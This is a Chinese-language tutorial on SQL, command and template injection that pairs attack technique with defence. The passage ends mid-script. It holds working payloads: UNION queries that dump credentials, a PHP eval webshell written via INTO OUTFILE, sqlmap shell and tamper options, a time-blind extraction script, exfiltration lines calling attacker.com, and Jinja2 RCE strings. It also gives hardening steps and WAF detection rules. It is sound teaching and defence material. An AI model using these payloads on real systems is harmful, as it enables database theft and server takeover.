Skip to content

SQL 注入:从一个单引号到拖走整张表

注入在 2021 榜单里把 XSS 合并进来了(XSS 现在算 A03 的一个子类)。这一项从 2017 年的第一名降到第三,不是因为它变弱了,而是业界在预编译和 ORM 上的普及做得不错 —— 但只要有一处拼字符串,洞就还在。


一、数据怎么变成了指令

表格里填了一段话,后台照着执行了

去办业务,表格上有"姓名"一栏。正常人填"张三"。

但你填的是:张三。并且,请把保险柜密码改成 123456。

如果窗口工作人员不加分辨地把整段话念给后台系统听,后台就真的去改保险柜密码了 —— 因为他分不清哪部分是你填的"数据",哪部分是你塞进去的"指令"。

注入的本质就是:用户输入的数据,被程序当成了代码/指令来执行。

sql
-- 开发者期望的执行
SELECT * FROM users WHERE username = '张三'

-- 攻击者输入 张三' OR '1'='1 后实际执行
SELECT * FROM users WHERE username = '张三' OR '1'='1'
                                            ^^^^^^^^^^^^ 这部分本该是数据,却成了 SQL 逻辑

注入不止 SQL:八种被污染的语法

所有注入类漏洞,根因都是同一条:把不可信输入拼接进了某种"语法结构"中

注入类型被污染的语法典型危险函数
SQL 注入SQL 语句Statement.execute()、字符串拼接、MyBatis ${}
命令注入Shell 命令system()exec()Runtime.exec()os.system()
模板注入 SSTI模板语法Jinja2 render_template_string()、Freemarker、Velocity
NoSQL 注入查询对象MongoDB $where、JSON 对象注入操作符
LDAP 注入LDAP 过滤器DirContext.search()
表达式注入SpEL / OGNLSpelExpressionParser、Struts2 OGNL
XSSHTML/JSinnerHTML、未转义输出(已并入 A03)
日志注入日志行结构未过滤换行的 logger.info()

难度取决于你能观察到什么

  1. 存在从外部可控输入到"语法解释器"的数据流 —— 即 Source → Sink 可达。
  2. 未使用参数化/预编译,或对危险字符的过滤不完整
  3. 执行结果以某种方式可观察(直接回显、报错、布尔差异、时间差异、带外通道)。

第 3 点决定了注入的难度分级

可观察性注入类型难度
直接回显数据UNION 联合注入、报错注入
页面真假有差异布尔盲注
只能靠响应时间判断时间盲注中高
无任何回显,靠 DNS/HTTP 外带带外注入(OOB)

六级危害阶梯:从读到数据到接管服务器

OWASP 数据:CWE 集合 33 个,平均加权利用率 7.15%(A03 里最高的一档),影响 6.56%

危害阶梯(以 SQL 注入为例):

读取敏感数据      →  拖库、用户信息泄露

绕过认证          →  ' OR 1=1 --  直接登录任意账号

写入/篡改数据     →  改余额、改订单、改权限

读取/写入文件     →  MySQL FILE 权限 → 写 Webshell

执行系统命令      →  SQL Server xp_cmdshell、PostgreSQL COPY FROM PROGRAM

完全接管服务器    →  内网横向移动

典型业务场景:

  • 登录框' OR '1'='1' -- 万能密码(虽然现在少了,但老系统仍有)。
  • 搜索/筛选/排序ORDER BY 后的字段名直接拼接 —— 这是预编译救不了的位置(后面会讲)。
  • 商品详情 / 订单查询?id= 参数。
  • 导出报表:filename、排序字段、时间范围。
  • IP / User-Agent 记录:开发者没想到"HTTP 头也是用户输入"。
  • 批量操作接口ids=1,2,3 这种逗号拼接,直接进 IN (...)

📌 真实场景:一个后台的"按字段排序"功能,代码是 ORDER BY ${sortField} ${sortOrder}。因为 ORDER BY 后面不能用预编译占位符(占位符只能放"值",不能放"标识符"),开发为了灵活就用了 ${}。结果 sortField 可控 → 注入。这是我在审计里命中率最高的一个位置 —— 凡是看到 ${},先停下来看一眼。


二、注入点在哪,怎么确认

污点追踪:从 Source 到 Sink

污点分析三要素:Source(污点源)→ Propagation(传播)→ Sink(危险汇聚点)。

Java 审计

java
// ❌ 危险模式 1:Statement 字符串拼接
String sql = "SELECT * FROM users WHERE id = " + request.getParameter("id");
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(sql);     // ← Sink

// ❌ 危险模式 2:MyBatis 的 ${}(字符串替换,非预编译)
// UserMapper.xml
// <select id="findByColumn" resultType="User">
//   SELECT * FROM users ORDER BY ${column}    ← ${} 直接文本替换,等同拼接
// </select>
// 正确应该是 #{column},但 #{column} 会被当成字符串值,ORDER BY 会失效
// 所以 ORDER BY 场景必须用白名单映射,见第四节

// ❌ 危险模式 3:LIKE 拼接
// SELECT * FROM t WHERE name LIKE '%${keyword}%'

// ✅ 安全模式:PreparedStatement 参数绑定
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement ps = conn.prepareStatement(sql);
ps.setInt(1, Integer.parseInt(request.getParameter("id")));  // 类型也做了约束
ResultSet rs = ps.executeQuery();

审计 grep 起点

bash
# Java:找 Statement / 拼接 SQL / MyBatis ${}
grep -rnE "createStatement\(\)|executeQuery\(\s*[\"'][^\"']*\+|\\\$\{[a-zA-Z_]" --include=*.{java,xml}

# MyBatis 专项:所有 ${} 都是嫌疑(#{} 是安全的)
grep -rnE '(\$\{[^}]*\})' --include=*.xml

# Python:找字符串格式化的 SQL
grep -rnE "(execute|executemany)\s*\(.*(%|\.format\(|f['\"]|\+)" --include=*.py

# PHP:找 SQL 拼接与危险命令函数
grep -rnE "(mysql_query|mysqli_query|query)\s*\(.*\\\$_(GET|POST|REQUEST|COOKIE)" --include=*.php
grep -rnE "(system|exec|passthru|shell_exec|popen|proc_open|`)" --include=*.php

# Node:找模板字符串 SQL
grep -rnE "query\s*\(\s*\`" --include=*.js

# 命令注入Sink(通用)
grep -rnE "Runtime\.getRuntime\(\)\.exec|ProcessBuilder|os\.system|subprocess.*shell\s*=\s*True|child_process" --include=*.{java,py,js}

💡 踩坑提示PreparedStatement 不是万能的。它能参数化的只有值(value),不能参数化标识符(identifier) —— 也就是表名、列名、ORDER BY 字段、LIMIT 值、IN 子句的元素个数。这些位置只能靠白名单映射。审计时重点看:项目里有没有为了"动态表名/动态排序"而绕开预编译的地方。

Python 审计

python
# ❌ 危险:f-string 拼接 SQL
def get_user(user_id):
    sql = f"SELECT * FROM users WHERE id = {user_id}"   # 直接拼接
    cursor.execute(sql)

# ❌ 危险:% 格式化
sql = "SELECT * FROM users WHERE name = '%s'" % username

# ❌ 危险:.format()
sql = "SELECT * FROM {} WHERE id = {}".format(table, uid)

# ✅ 安全:参数化(注意不同驱动的占位符不同)
# sqlite3: ?    pymysql/psycopg2: %s
cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))

# ✅ 动态表名/列名的正确做法:白名单映射
ALLOWED_SORT_COLUMNS = {"id": "id", "name": "username", "time": "created_at"}
def get_list(sort_by: str):
    column = ALLOWED_SORT_COLUMNS.get(sort_by, "id")   # 不在白名单就用默认值
    return cursor.execute(f"SELECT * FROM t ORDER BY {column}")  # column 来自白名单,安全

六个探针,按顺序试

Step 1:找注入点

注入点不限于 URL 参数,所有这些位置都要测:

✅ URL 查询参数     ?id=1&name=test
✅ POST 表单体      username=admin&password=xxx
✅ JSON 请求体      {"id": 1, "filter": "..."}
✅ HTTP 头          User-Agent / X-Forwarded-For / Cookie / Referer
✅ 路径段           /api/user/1/detail
✅ 文件上传的文件名
✅ XML / SOAP 内容
✅ 二阶注入的"存储点"(先存进去,后续查询时触发)

Step 2:探针测试(判断是否存在注入)

这是最关键的一步,按下面的顺序依次尝试:

sql
-- 探针 1:单引号(最经典,看是否报错)
1'
-- 预期:数据库报错(MySQL: You have an error in your SQL syntax)
--      或页面异常、500 错误

-- 探针 2:恒真 / 恒假对比(判断是否为布尔盲注)
1 AND 1=1     -- 页面正常
1 AND 1=2     -- 页面异常/无数据
-- 若两者表现不同 → 存在布尔盲注

-- 探针 3:算术运算(数字型注入专用)
1+1           -- 若返回 id=2 的数据 → 数字型注入,无引号包裹
3-1           -- 若返回 id=2 的数据 → 同上

-- 探针 4:字符串连接(判断数据库类型)
' + 'a        -- MSSQL
' || 'a       -- Oracle / PostgreSQL / SQLite
' 'a          -- MySQL (' 'a 会被解析为 'a')

-- 探针 5:时间延迟(时间盲注)
' AND SLEEP(5)--          -- MySQL
' AND pg_sleep(5)--       -- PostgreSQL
'; WAITFOR DELAY '0:0:5'-- -- MSSQL

-- 探针 6:报错函数(报错注入)
' AND updatexml(1,concat(0x7e,version()),1)--
' AND extractvalue(1,concat(0x7e,user()))--

Step 3:判断数据库类型

特征数据库
@@version 有回显MySQL / MSSQL
version() 有回显PostgreSQL
sqlite_version()SQLite
WAITFOR DELAY 生效MSSQL
报错含 ORA-Oracle
pg_sleep 生效PostgreSQL

关键请求特征与判断依据汇总

现象结论
' 后报 SQL 语法错存在注入,大概率可报错注入
' 后页面 500/空白存在注入,需盲注
AND 1=1 正常 / AND 1=2 异常布尔盲注
SLEEP(5) 明显延迟时间盲注
输入被转义(\'尝试宽字节 / 编码绕过
输入被完全过滤(返回空)尝试二次注入 / 其他参数位置
单引号被过滤但数字可用数字型注入,无需引号

💡 踩坑提示别只测 id=1。很多系统对"看起来像数字"的参数做了 intval(),但对"看起来像字符串"的参数(name、keyword、sort、order)完全没有防护。我实际挖到的注入,大概六成在排序字段和搜索框,不在 id 上。


三、从手工到 sqlmap 的完整利用链

⚠️ 以下内容仅限授权渗透测试 / 自有系统 / 安全研究环境中使用。

手工联合注入:从字段数到拖库

假设目标:https://target.com/product.php?id=1,加 ' 报错,确认 MySQL。

Step 1:判断字段数(ORDER BY 二分法)

sql
-- 逐步增加 ORDER BY 的列序号,直到报错
1' ORDER BY 1--+   -- 正常
1' ORDER BY 2--+   -- 正常
1' ORDER BY 5--+   -- 正常
1' ORDER BY 6--+   -- 报错:Unknown column '6' in 'order clause'
-- 结论:字段数 = 5

-- 完整 URL(注意 --+ 中的 + 会被解析为空格,也可以用 %23 即 #)
https://target.com/product.php?id=1' ORDER BY 6--+
https://target.com/product.php?id=-1' UNION SELECT 1,2,3,4,5--+   -- 找回显位

--+ 解释:-- 是 SQL 注释符,但 SQL 注释要求 -- 后跟空格。URL 里空格用 +%20。更稳妥的写法是直接用 # 的 URL 编码 %23

Step 2:确定回显位

sql
-- 让原查询返回空结果(id=-1),使 UNION 的结果显示在页面上
-1' UNION SELECT 1,2,3,4,5%23
-- 页面显示 "2" 和 "4" → 第 2、4 列是回显位

Step 3:收集信息

sql
-- 数据库名、版本、当前用户
-1' UNION SELECT 1,database(),version(),user(),5%23

-- 所有数据库名
-1' UNION SELECT 1,group_concat(schema_name),3,4,5 FROM information_schema.schemata%23

-- 当前库的所有表名
-1' UNION SELECT 1,group_concat(table_name),3,4,5
    FROM information_schema.tables WHERE table_schema=database()%23

-- 某表的列名
-1' UNION SELECT 1,group_concat(column_name),3,4,5
    FROM information_schema.columns
    WHERE table_schema=database() AND table_name='users'%23

-- 拖数据
-1' UNION SELECT 1,group_concat(username,0x3a,password),3,4,5 FROM users%23
-- 0x3a 是冒号的十六进制,用作分隔符(避免逗号被过滤)

Step 4:写文件(需要 FILE 权限且知道绝对路径)

sql
-- 前提:MySQL 用户有 FILE 权限,且 secure_file_priv 未限制
-1' UNION SELECT 1,'<?php @eval($_POST["cmd"]);?>',3,4,5
    INTO OUTFILE '/var/www/html/shell.php'%23

-- 检查权限
-1' UNION SELECT 1,@@secure_file_priv,3,4,5%23
-- 若返回 NULL → 禁止导入导出,写文件这条路断了

sqlmap:参数怎么调决定成败

sqlmap 是把上面的手工流程自动化,但参数怎么调决定了成败

bash
# ===== 基础用法 =====
sqlmap -u "https://target.com/product.php?id=1"
# -u: 目标 URL

# ===== 指定参数(URL 中有多个参数时,避免全测一遍)=====
sqlmap -u "https://target.com/product.php?id=1&cat=2" -p id
# -p: 只测试 id 参数

# ===== POST 请求 =====
sqlmap -u "https://target.com/login.php" --data "username=admin&password=123456" -p username

# ===== 从 Burp 抓的请求文件直接跑(最推荐,保留完整请求头/Cookie)=====
# 1. Burp 里右键请求 → Copy to file → req.txt
# 2. 执行:
sqlmap -r req.txt
# -r: 从文件读取原始 HTTP 请求(含 Cookie、Header,避免未登录被重定向)

# ===== 指定注入类型与数据库 =====
sqlmap -r req.txt --dbms=mysql --technique=U
# --dbms: 限定数据库类型,减少探测时间
# --technique: 指定注入技术,可选值:
#   B = Boolean-based blind(布尔盲注)
#   E = Error-based(报错注入)
#   U = UNION query(联合查询)
#   S = Stacked queries(堆叠查询)
#   T = Time-based blind(时间盲注)
#   Q = Inline queries(内联查询)
# 例:--technique=BEUST 全开;--technique=U 只跑联合

# ===== 提高等级与风险(关键!默认 level=1 会漏掉很多点)=====
sqlmap -r req.txt --level=5 --risk=3
# --level (1-5): 测试的全面程度
#   level>=2 → 会测试 Cookie 参数
#   level>=3 → 会测试 User-Agent / Referer
#   level=5  → 会测试 Host 头
# --risk (1-3): 风险等级
#   risk=2 → 加入基于时间的盲注(会产生大量请求)
#   risk=3 → 加入 OR 类型的注入(可能导致 UPDATE 误伤数据!)
# ⚠️ 生产环境慎用 risk=3

# ===== 数据提取 =====
sqlmap -r req.txt --current-db        # 当前数据库名
sqlmap -r req.txt --dbs               # 所有数据库
sqlmap -r req.txt -D dbname --tables  # 指定库的表
sqlmap -r req.txt -D dbname -T users --columns   # 表的列
sqlmap -r req.txt -D dbname -T users -C username,password --dump   # 拖数据
sqlmap -r req.txt -D dbname -T users --dump --start=1 --stop=100   # 限制条数

# ===== 绕过 WAF:tamper 脚本 =====
# tamper 的作用是对 payload 做变形,绕过 WAF 的特征匹配
sqlmap -r req.txt --tamper=space2comment,charencode,randomcase

# 常用 tamper 说明:
#   space2comment     → 空格替换为 /**/        (绕过过滤空格的 WAF)
#   space2plus        → 空格替换为 +
#   randomcase        → 随机大小写             (绕过大小写敏感的规则)
#   charencode        → URL 编码
#   charunicodeencode → Unicode 编码
#   between           → 用 BETWEEN 替代 >
#   equaltolike       → 用 LIKE 替代 =
#   greatest          → 用 GREATEST 替代 >
#   versionedkeywords → MySQL 版本注释混淆关键字
#   halfversionedmorekeywords → 同上,更强
#   组合多个用逗号分隔,从左到右依次应用

# 查看所有 tamper
ls /usr/share/sqlmap/tamper/

# ===== 其他实用参数 =====
sqlmap -r req.txt --batch         # 自动回答所有询问(非交互)
sqlmap -r req.txt --threads=10    # 并发线程(盲注提速,但会增加被发现概率)
sqlmap -r req.txt --delay=1       # 每次请求延迟 1 秒(规避速率检测,降速保稳)
sqlmap -r req.txt --time-sec=10   # 时间盲注的延迟秒数(网络慢时调大)
sqlmap -r req.txt --proxy="http://127.0.0.1:8080"   # 走 Burp 代理,可观察 payload
sqlmap -r req.txt --flush-session # 清除缓存,重新测试
sqlmap -r req.txt --output-dir=/tmp/out   # 指定输出目录

# ===== 操作系统交互(高权限时)=====
sqlmap -r req.txt --os-shell      # 获取交互式系统 shell
sqlmap -r req.txt --os-cmd="whoami"   # 执行单条命令
sqlmap -r req.txt --file-read="/etc/passwd"   # 读文件
sqlmap -r req.txt --file-write="shell.php" --file-dest="/var/www/html/shell.php"  # 写文件

💡 踩坑提示 1:sqlmap 的结果是有缓存的(存在 ~/.local/share/sqlmap/output/)。如果你改了 payload 或目标行为有变化,一定要加 --flush-session,否则它会直接套用上次的结论,让你误判"不存在注入"。

💡 踩坑提示 2:目标有登录态时,必须用 -r req.txt 而不是 -u。否则 sqlmap 拿着一个没有 Cookie 的请求去测,服务端返回的是登录页,sqlmap 会告诉你"not injectable" —— 实际上只是它没登录进去。

时间盲注:sqlmap 判不出来时自己写

有些场景 sqlmap 会误判(比如目标有复杂的速率限制或随机延迟),这时自己写脚本更可控:

python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
MySQL 时间盲注脚本 —— 二分法提取数据,仅用于授权测试
原理:通过 SLEEP() 让响应延迟,根据延迟与否判断条件真假,
      逐字符二分猜解,比逐字符遍历快得多。
"""
import requests
import time
import string

URL = "https://target.com/product.php"
HEADERS = {"User-Agent": "Mozilla/5.0", "Cookie": "PHPSESSID=xxxx"}
SLEEP_SEC = 2          # 每次判断的睡眠秒数(网络慢就调大)
THRESHOLD = 1.5        # 判定阈值:耗时超过这个秒数视为"条件为真"

def is_true(condition: str) -> bool:
    """注入一个条件,根据响应耗时判断真假"""
    payload = f"1' AND IF({condition},SLEEP({SLEEP_SEC}),0)%23"
    start = time.time()
    try:
        requests.get(URL, params={"id": payload},
                     headers=HEADERS, timeout=SLEEP_SEC + 8)
    except requests.Timeout:
        return True    # 超时即视为触发了 SLEEP
    elapsed = time.time() - start
    return elapsed > THRESHOLD

def get_length(expr: str) -> int:
    """二分法猜解某表达式结果的长度"""
    lo, hi = 1, 100
    while lo < hi:
        mid = (lo + hi) // 2
        if is_true(f"LENGTH(({expr}))>{mid}"):
            lo = mid + 1
        else:
            hi = mid
    return lo

def extract(expr: str, length: int) -> str:
    """二分法逐字符提取内容"""
    result = ""
    for pos in range(1, length + 1):
        lo, hi = 32, 126      # 可打印 ASCII 范围
        while lo < hi:
            mid = (lo + hi) // 2
            # 比较当前位置字符的 ASCII 值
            if is_true(f"ASCII(SUBSTRING(({expr}),{pos},1))>{mid}"):
                lo = mid + 1
            else:
                hi = mid
        result += chr(lo)
        print(f"\r[*] 进度 {pos}/{length}: {result}", end="", flush=True)
    print()
    return result

if __name__ == "__main__":
    # 先测基线,确认时间盲注可用
    print("[*] 测试时间盲注可用性...")
    if not is_true("1=1"):
        print("[-] 目标似乎不存在时间盲注,退出")
        exit(1)
    print("[+] 时间盲注可用")

    # 提取当前数据库名
    expr = "SELECT database()"
    ln = get_length(expr)
    print(f"[*] 数据库名长度: {ln}")
    print(f"[+] 数据库名: {extract(expr, ln)}")

    # 提取当前用户
    expr2 = "SELECT user()"
    ln2 = get_length(expr2)
    print(f"[+] 当前用户: {extract(expr2, ln2)}")

关键参数说明

  • SLEEP_SECTHRESHOLD 要配合网络状况调。目标在国外或网络抖动大时,SLEEP_SEC 至少设 3 秒,否则会大量误判。
  • 二分法(每次砍一半)比逐字符遍历快约 7 倍:ASCII 32-126 共 95 个字符,遍历平均要 48 次请求,二分只要 7 次。
  • 提取长内容(比如整个表)会非常慢,实际渗透中优先用 UNION 或报错注入,时间盲注是最后手段。

顺带说说命令注入与 SSTI

命令注入

bash
# 常见注入分隔符(按优先级尝试)
; whoami           # 分号,顺序执行
| whoami           # 管道
|| whoami          # 前一个失败才执行后一个
& whoami           # 后台执行(Linux)
&& whoami          # 前一个成功才执行后一个
`whoami`           # 反引号,命令替换
$(whoami)          # $() 命令替换
\n whoami          # 换行符(URL 编码 %0a)

# 典型场景:ping / traceroute 功能
# 输入: 127.0.0.1; cat /etc/passwd
# 原始: ping -c 4 127.0.0.1; cat /etc/passwd

# 绕过空格过滤
cat${IFS}/etc/passwd        # $IFS 是 shell 内部字段分隔符,默认为空格
cat</etc/passwd             # 用输入重定向替代空格
{cat,/etc/passwd}           # 花括号展开
cat%09/etc/passwd           # Tab(URL 编码)

# 绕过关键字过滤
c'a't /etc/passwd           # 引号分割
c"a"t /etc/passwd
ca\t /etc/passwd            # 反斜杠
/bin/c?t /etc/passwd        # 通配符 ? 匹配单字符
/bin/ca* /etc/passwd        # 通配符 * 匹配多字符
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh   # base64 编码绕过(echo 后面是 "cat /etc/passwd" 的 base64)

# 无回显时用带外通道验证(OOB)
# 监听:nc -lvnp 4444
curl http://attacker.com/$(whoami | base64)
nslookup $(whoami).attacker.com     # 用 DNS 外带,最隐蔽
ping -c 1 $(whoami).attacker.com

SSTI(服务端模板注入)

python
# 检测:在输入点提交数学表达式,看是否被计算
# Jinja2 / Twig:  {{7*7}}    → 返回 49 则存在 SSTI
# Freemarker:     ${7*7}
# Velocity:       #set($x=7*7)${x}

# Jinja2 利用链(Python)
{{''.__class__.__mro__[1].__subclasses__()}}          # 列出所有可用类
{{config.items()}}                                     # 读 Flask 配置(含 SECRET_KEY!)
{{''.__class__.__mro__[1].__subclasses__()[X]('whoami',shell=True,stdout=-1).communicate()}}
# X 是 subprocess.Popen 在子类列表中的索引,需要逐个试

# 更简洁的 Jinja2 RCE(利用 cycler / joiner 等 gadget)
{{cycler.__init__.__globals__.os.popen('id').read()}}
{{joiner.__init__.__globals__.os.popen('id').read()}}
{{namespace.__init__.__globals__.os.popen('id').read()}}

# 自动化工具:tplmap
tplmap -u "https://target.com/page?name=test"
tplmap -u "https://target.com/page?name=test" --os-shell

Nuclei:资产多的时候用它扫

bash
# Nuclei 批量扫 SQL 注入(速度快,适合资产多的场景)
nuclei -u https://target.com -t sql/ -severity critical,high

# 指定模板目录
nuclei -l targets.txt -t ~/nuclei-templates/http/vulnerabilities/ \
       -severity critical,high -o nuclei_results.txt

# 常用参数
#   -l        目标列表文件
#   -t        模板路径(可以是目录或单个文件)
#   -severity 按严重度过滤: info/low/medium/high/critical/unknown
#   -o        输出文件
#   -rate-limit  每秒请求数限制(重要!别把目标打挂)
#   -proxy    走代理(配合 Burp 观察)
#   -tags     按标签过滤,如 -tags sqli,rce,lfi

nuclei -l targets.txt -tags sqli -rate-limit 10 -o sqli_results.txt

四、预编译、白名单与最小权限

参数化是唯一根治手段

这是唯一能根治 SQL 注入的手段。转义/过滤都是补丁,预编译才是解法。

java
// ✅ Java:PreparedStatement
public User getUser(long id) throws SQLException {
    String sql = "SELECT * FROM users WHERE id = ?";
    try (PreparedStatement ps = conn.prepareStatement(sql)) {
        ps.setLong(1, id);              // 类型安全,且值不会被当作 SQL 解析
        try (ResultSet rs = ps.executeQuery()) {
            // ...
        }
    }
}

// ✅ MyBatis:一律用 #{},禁用 ${}
// <select id="getUser" resultType="User">
//   SELECT * FROM users WHERE id = #{id}
// </select>

// ⚠️ 必须动态标识符时用白名单映射(ORDER BY / 表名 / 列名 场景)
public List<User> list(String sortField, String sortDir) {
    // 白名单:只接受这几个值,不接受任何自由输入
    Map<String, String> SORT_WHITELIST = Map.of(
        "id", "id",
        "name", "username",
        "time", "created_at"
    );
    String column = SORT_WHITELIST.getOrDefault(sortField, "id");  // 未知输入回退到安全值
    String dir = "desc".equalsIgnoreCase(sortDir) ? "DESC" : "ASC"; // 方向也白名单

    String sql = "SELECT * FROM users ORDER BY " + column + " " + dir;
    // 此时 column 和 dir 都来自白名单,不可能注入
    return jdbcTemplate.query(sql, userRowMapper);
}
python
# ✅ Python
# sqlite3 / psycopg2 / pymysql 的占位符不同,注意区分
#   sqlite3 & aiosqlite : ?
#   pymysql / mysqlclient : %s
#   psycopg2 : %s
cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))

# ❌ 注意:参数化不能用于标识符,动态表名仍需白名单
# cursor.execute(f"SELECT * FROM {table}")  ← 不安全

预编译兜不住的三个位置,只能靠白名单

原则:预编译是主防线,下面这些是"万一主防线被突破"的兜底。

1)输入校验(白名单优先)

java
// 类型与格式强约束
public Result getOrder(@PathVariable String orderId) {
    // 订单号必须是纯数字且长度合理
    if (!orderId.matches("^\\d{1,20}$")) {
        throw new IllegalArgumentException("非法订单号");
    }
    long id = Long.parseLong(orderId);
    // ...
}

2)最小权限数据库账号

sql
-- 应用账号只给必要权限,绝不给 DBA 权限
-- MySQL 示例
CREATE USER 'app_user'@'10.0.%' IDENTIFIED BY 'StrongPassw0rd!';

-- 只给增删改查,不给 FILE / PROCESS / SUPER
GRANT SELECT, INSERT, UPDATE, DELETE ON appdb.* TO 'app_user'@'10.0.%';

-- ❌ 绝不能这样
-- GRANT ALL PRIVILEGES ON *.* TO 'app_user'@'%';

-- 专门的只读账号用于查询类服务
CREATE USER 'app_readonly'@'10.0.%' IDENTIFIED BY 'AnotherStr0ng!';
GRANT SELECT ON appdb.* TO 'app_readonly'@'10.0.%';

FLUSH PRIVILEGES;

-- 验证权限
SHOW GRANTS FOR 'app_user'@'10.0.%';

💡 为什么最小权限这么重要:就算预编译被绕过了(比如某个动态 SQL 场景),攻击者拿到的是一个只能 SELECT 本库数据的账号,无法写文件、无法跨库、无法执行系统命令。这直接把"服务器被接管"降回"部分数据泄露"。权限是最容易被忽略、但收益最高的一层防御。

3)统一错误处理

java
// ❌ 危险:把原始 SQL 异常直接抛给前端
catch (SQLException e) {
    return Result.error(e.getMessage());   // 会暴露表结构、SQL 片段
}

// ✅ 正确:记录到日志,对外返回通用错误
catch (SQLException e) {
    log.error("Database error, sqlCode={}", e.getErrorCode(), e);  // 详细日志留服务端
    return Result.error("系统繁忙,请稍后再试");                      // 对外通用文案
}

4)命令执行:永远不要用 shell

python
# ❌ 危险:shell=True 会走 shell 解析,分号管道全部生效
import subprocess
subprocess.run(f"ping -c 4 {user_input}", shell=True)

# ✅ 正确:传列表,不走 shell,且参数不会被解析为命令
subprocess.run(["ping", "-c", "4", user_input], shell=False)

# ✅ 更彻底:用原生库替代命令调用
import ipaddress
# 先校验是合法 IP
ipaddress.ip_address(user_input)
# 然后用 Python 的 icmplib 等库,完全不碰 shell
java
// Java 同理:用 ProcessBuilder 传数组,不要用字符串拼接
// ❌ Runtime.getRuntime().exec("ping -c 4 " + input);
// ✅
new ProcessBuilder("ping", "-c", "4", input).start();

5)模板:禁用动态模板渲染

python
# ❌ 危险:把用户输入当模板渲染
from flask import render_template_string
return render_template_string(user_input)

# ✅ 正确:用静态模板文件 + 变量传递
return render_template("page.html", name=user_input)
# 模板文件是固定的,用户输入只作为变量值,不会被解析为模板语法

中间件配置加固

MySQL 配置加固

ini
# /etc/mysql/mysql.conf.d/mysqld.cnf

[mysqld]
# 禁用 LOAD DATA / SELECT ... INTO OUTFILE 的文件读写(防注入写 Webshell)
secure_file_priv = ""

# 禁用 LOCAL INFILE(防读取客户端文件)
local_infile = 0

# 只允许本机/内网连接
bind-address = 127.0.0.1

# 禁用符号链接(防绕过文件权限)
skip-symbolic-links

# 开启错误日志便于审计
log_error = /var/log/mysql/error.log

PHP 配置

ini
; php.ini
; 关闭魔术引号的幻觉(PHP 5.4 后已移除,但老配置可能残留)
magic_quotes_gpc = Off

; 禁用危险函数
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

; 关闭错误显示(生产环境必须)
display_errors = Off
log_errors = On
error_log = /var/log/php/error.log

WAF:兜底不是主防

WAF 是兜底不是主防,但对"来不及改代码的老系统"是唯一可行手段。

apache
# ModSecurity + OWASP CRS 核心规则示例

# ===== 规则 1:检测 SQL 关键字(基础特征)=====
SecRule ARGS|ARGS_NAMES|REQUEST_HEADERS "@rx (?i)(\bunion\b\s+\bselect\b|\bselect\b.*\bfrom\b.*\binformation_schema\b|\bor\b\s+\d+\s*=\s*\d+)" \
    "id:9003001,\
     phase:2,\
     deny,\
     status:403,\
     log,\
     msg:'SQL Injection Attempt - Union/Select',\
     tag:'OWASP-A03',\
     tag:'attack-sqli',\
     severity:'CRITICAL'"

# ===== 规则 2:检测时间盲注函数 =====
SecRule ARGS "@rx (?i)\b(sleep\s*\(|benchmark\s*\(|pg_sleep\s*\(|waitfor\s+delay\b)" \
    "id:9003002,\
     phase:2,\
     deny,\
     status:403,\
     log,\
     msg:'SQL Injection Attempt - Time-based',\
     tag:'OWASP-A03',\
     severity:'CRITICAL'"

# ===== 规则 3:检测注释符(绕过常用)=====
SecRule ARGS "@rx (--\s|#\s|/\*|\*/|;--)" \
    "id:9003003,\
     phase:2,\
     deny,\
     status:403,\
     log,\
     msg:'SQL Comment Sequence Detected',\
     tag:'OWASP-A03'"

# ===== 规则 4:检测命令注入分隔符 =====
SecRule ARGS "@rx [;|&`\$]\s*(cat|ls|whoami|id|nc|wget|curl|bash|sh|python|perl)\b" \
    "id:9003004,\
     phase:2,\
     deny,\
     status:403,\
     log,\
     msg:'OS Command Injection Attempt',\
     tag:'OWASP-A03',\
     severity:'CRITICAL'"

# ===== 规则 5:检测 SSTI 特征 =====
SecRule ARGS "@rx (\{\{|\}\}|\$\{|\}\}|__class__|__mro__|__subclasses__|__globals__)" \
    "id:9003005,\
     phase:2,\
     deny,\
     status:403,\
     log,\
     msg:'Server Side Template Injection Attempt',\
     tag:'OWASP-A03',\
     severity:'CRITICAL'"

💡 踩坑提示:WAF 规则太严会误伤正常业务。比如规则 3 拦注释符,如果业务里有用户提交代码片段的功能,就会误杀。上线前务必:

  1. 先开 SecRuleEngine DetectionOnly(只记录不拦截)跑一周。
  2. 分析误报,加白名单规则。
  3. 再切到 On
apache
# 只记录不拦截(观察期)
SecRuleEngine DetectionOnly
# 正式拦截
# SecRuleEngine On

腾讯云/阿里云 WAF 配置要点

  • 开启 SQL 注入防护规则集,模式先设"观察"再转"拦截"。
  • 开启 命令注入/代码执行防护。
  • 配置 CC 防护(防 sqlmap 高频探测)。
  • 自定义规则:对 /api/* 路径的参数值长度做限制(比如 id 参数最长 20 字符)。

检测:别让注入成功了还不知道

WAF 拦不住所有东西,检测能力决定了你能多快发现被打了

yaml
# SIEM 检测规则:SQL 注入尝试告警
id: sqli-attempt-detection
detection:
  condition: waf_hits or app_errors
  rules:
    - source: waf
      rule_id: [9003001, 9003002, 9003003]    # 上面定义的规则
      count: 5
      window: 60s
      group_by: source_ip
    - source: app_log
      pattern: "SQLSyntaxErrorException|You have an error in your SQL syntax"
      count: 3
      window: 300s
  action:
    - alert_soc                    # 告警到安全运营
    - block_ip_duration: 3600      # 封禁源 IP 1 小时
  severity: critical
  response_playbook: "检查该 IP 的所有请求,确认是否有成功的注入;排查数据库审计日志"

关键:数据库审计日志。这是发现"成功的注入"的最后手段:

sql
-- MySQL 开启通用查询日志(仅排障时临时开,性能影响大)
SET GLOBAL general_log = 'ON';
SET GLOBAL log_output = 'TABLE';
-- 事后分析
SELECT * FROM mysql.general_log
WHERE argument LIKE '%information_schema%'
   OR argument LIKE '%UNION%'
ORDER BY event_time DESC LIMIT 100;
-- 排查完记得关掉
SET GLOBAL general_log = 'OFF';

回归验证(含 sqlmap 缓存的坑)

bash
#!/usr/bin/env bash
# SQL 注入修复回归验证脚本

TARGET="https://target.com/product.php"
PASS=0; FAIL=0

# 定义:如果响应中包含数据库错误特征 → 说明注入仍存在
is_vulnerable() {
  local payload="$1"
  local resp
  resp=$(curl -s "${TARGET}?id=${payload}" --max-time 10)
  # 检测数据库错误特征
